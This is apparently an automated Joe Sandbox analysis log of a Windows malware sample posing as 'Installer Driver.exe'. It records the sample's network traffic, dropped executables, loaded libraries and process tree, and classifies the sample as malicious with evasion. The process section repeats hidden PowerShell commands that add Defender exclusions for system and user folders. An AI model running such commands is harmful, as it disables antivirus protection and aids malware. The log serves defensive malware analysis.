Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443

Source: unknown	HTTPS traffic detected: 185.166.143.49:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.216.51.233:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 45.125.66.18:443 -> 192.168.2.4:49749 version: TLS 1.2

Source: UBONg7lmVR.exe, 00000000.00000002.3548819420.0000000007549000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: stopm spinning nmidlelocked= needspinning=randinit twicestore64 failedsemaRoot queuebad allocCountbad span statestack overflow untyped args out of range no module dataruntime: seq1=runtime: goid= in goroutine need more dataREQUEST_METHODunreachable: RCodeNameErrorResourceHeadermime/multipartdata truncatednew_example.txtStatus code: %dstatus code: %dnegative updateaccept-encodingaccept-languagex-forwarded-forAccept-Encodingrecv_rststream_Idempotency-KeyPartial ContentRequest TimeoutLength RequiredNot ImplementedGateway Timeoutunexpected typebad trailer keywrite error: %wGetProcessTimesDuplicateHandleadvertise errorkey has expirednetwork is downno medium foundno such processGetAdaptersInfoCreateHardLinkWDeviceIoControlFlushViewOfFileGetCommandLineWGetStartupInfoWProcess32FirstWUnmapViewOfFileFailed to load Failed to find : cannot parse ,M3.2.0,M11.1.0ExcludeClipRectGetEnhMetaFileWGetTextMetricsWPlayEnhMetaFileGdiplusShutdownGetThreadLocaleOleUninitializewglGetCurrentDCDragAcceptFilesCallWindowProcWCreatePopupMenuCreateWindowExWDialogBoxParamWGetActiveWindowGetDpiForWindowGetMonitorInfoWGetRawInputDataInsertMenuItemWIsWindowEnabledIsWindowVisiblePostQuitMessageSetActiveWindowSetWinEventHookTrackMouseEventWindowFromPointDrawThemeTextExGetSecurityInfoImpersonateSelfOpenThreadTokenSetSecurityInfoAddDllDirectoryFindNextVolumeWFindVolumeCloseGetCommTimeoutsIsWow64Process2QueryDosDeviceWSetCommTimeoutsSetVolumeLabelWRtlDefaultNpAclCLSIDFromStringStringFromGUID2IsWindowUnicodetimeBeginPeriodinvalid argSize<invalid Value>476837158203125record overflowbad certificatePKCS1WithSHA256PKCS1WithSHA384PKCS1WithSHA512ClientAuthType(unknown versionAccept-LanguageX-Forwarded-Formissing address/etc/mdns.allowunknown network()<>@,;:\"/[]?=allocmRInternalwrite heap dumpasyncpreemptoffforce gc (idle)sync.Mutex.Lockmalloc deadlockruntime error: elem size wrong with GC prog

memstr_03833754-2

Source: C:\Reka\rapnewsa.exe	Code function: 23_2_002C1470 NtQuerySystemInformation,OpenProcess,GetCurrentProcess,DuplicateHandle,GetFileType,CloseHandle,GetCurrentProcess,DuplicateHandle,CloseHandle,FindCloseChangeNotification,	23_2_002C1470
Source: C:\Reka\rapnewsa.exe	Code function: 23_2_002C3D50 NtClose,NtClose,	23_2_002C3D50
Source: C:\Reka\rapnewsa.exe	Code function: 23_2_002C1610 NtQueryObject,NtQueryObject,	23_2_002C1610

Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Code function: 0_2_05BD545B	0_2_05BD545B
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Code function: 0_2_05BD3CFC	0_2_05BD3CFC
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Code function: 0_2_09858248	0_2_09858248
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Code function: 0_2_098504C4	0_2_098504C4
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Code function: 0_2_09852C10	0_2_09852C10
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Code function: 0_2_09851050	0_2_09851050
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Code function: 0_2_09851060	0_2_09851060
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Code function: 0_2_09858238	0_2_09858238
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Code function: 0_2_098506A0	0_2_098506A0
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Code function: 0_2_09899701	0_2_09899701
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Code function: 0_2_09899710	0_2_09899710
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Code function: 0_2_0AD1B821	0_2_0AD1B821
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Code function: 0_2_0AD185B7	0_2_0AD185B7
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Code function: 0_2_0B3A46C3	0_2_0B3A46C3
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Code function: 0_2_0B3A0920	0_2_0B3A0920
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Code function: 0_2_0B3A1593	0_2_0B3A1593
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Code function: 0_2_0B3A2718	0_2_0B3A2718
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Code function: 0_2_0B3A0920	0_2_0B3A0920
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Code function: 0_2_0B3A2250	0_2_0B3A2250
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Code function: 0_2_0B3A46C3	0_2_0B3A46C3

Source: Joe Sandbox View

Dropped File: C:\Reka\rapnewsa.exe 0A6BF0678BBD793E39A84DFB4C71D8B709D9E538288BF826C48B1BA899803BA4

Source: C:\Reka\rapnewsa.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 8032 -s 122888

Source: y5cm2yzz.hwt.exe.0.dr

Static PE information: Number of sections : 15 > 10

Source: UBONg7lmVR.exe, 00000000.00000000.1675999694.0000000003904000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameInstaller Driver.exeB vs UBONg7lmVR.exe
Source: UBONg7lmVR.exe, 00000000.00000002.3547008907.0000000003D6E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs UBONg7lmVR.exe
Source: UBONg7lmVR.exe	Binary or memory string: OriginalFilenameInstaller Driver.exeB vs UBONg7lmVR.exe

Source: y5cm2yzz.hwt.exe.0.dr	Static PE information: Section: /19 ZLIB complexity 0.9991581357758621
Source: y5cm2yzz.hwt.exe.0.dr	Static PE information: Section: /32 ZLIB complexity 0.9933081454918032
Source: y5cm2yzz.hwt.exe.0.dr	Static PE information: Section: /65 ZLIB complexity 0.9992535231210021
Source: y5cm2yzz.hwt.exe.0.dr	Static PE information: Section: /78 ZLIB complexity 0.9908877648782687

Source: classification engine

Classification label: mal75.evad.winEXE@27/32@5/6

Source: C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe

File created: C:\Users\user\Desktop\new_example.txt

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6100:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8176:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4304:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5852:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8132:120:WilError_03
Source: C:\Reka\rapnewsa.exe	Mutant created: \Sessions\1\BaseNamedObjects\082e2202-17f7-4654-a651-ac9a3778e1d7
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3720:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:916:120:WilError_03

Source: C:\Users\user\Desktop\UBONg7lmVR.exe

File created: C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe

File opened: C:\Windows\system32\bd5cd1aabb1ffcda4133e746297f9fdc95781f77f84a826557ea6679c7876c2dAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Jump to behavior

Source: UBONg7lmVR.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: UBONg7lmVR.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%

Source: C:\Reka\rapnewsa.exe

System information queried: HandleInformation

Source: C:\Users\user\Desktop\UBONg7lmVR.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\UBONg7lmVR.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: UBONg7lmVR.exe

Virustotal: Detection: 13%

Source: unknown	Process created: C:\Users\user\Desktop\UBONg7lmVR.exe "C:\Users\user\Desktop\UBONg7lmVR.exe"
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Process created: C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe "C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe"
Source: C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users'"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows'"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Program Files'"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Program Files (x86)'"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Recovery'"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Reka'"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath '%USERPROFILE%\Desktop'"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe	Process created: C:\Reka\rapnewsa.exe C:\Reka\rapnewsa.exe
Source: C:\Reka\rapnewsa.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 8032 -s 122888
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Process created: C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe "C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users'"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows'"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Program Files'"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Program Files (x86)'"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Recovery'"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Reka'"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath '%USERPROFILE%\Desktop'"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe	Process created: C:\Reka\rapnewsa.exe C:\Reka\rapnewsa.exe	Jump to behavior

Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
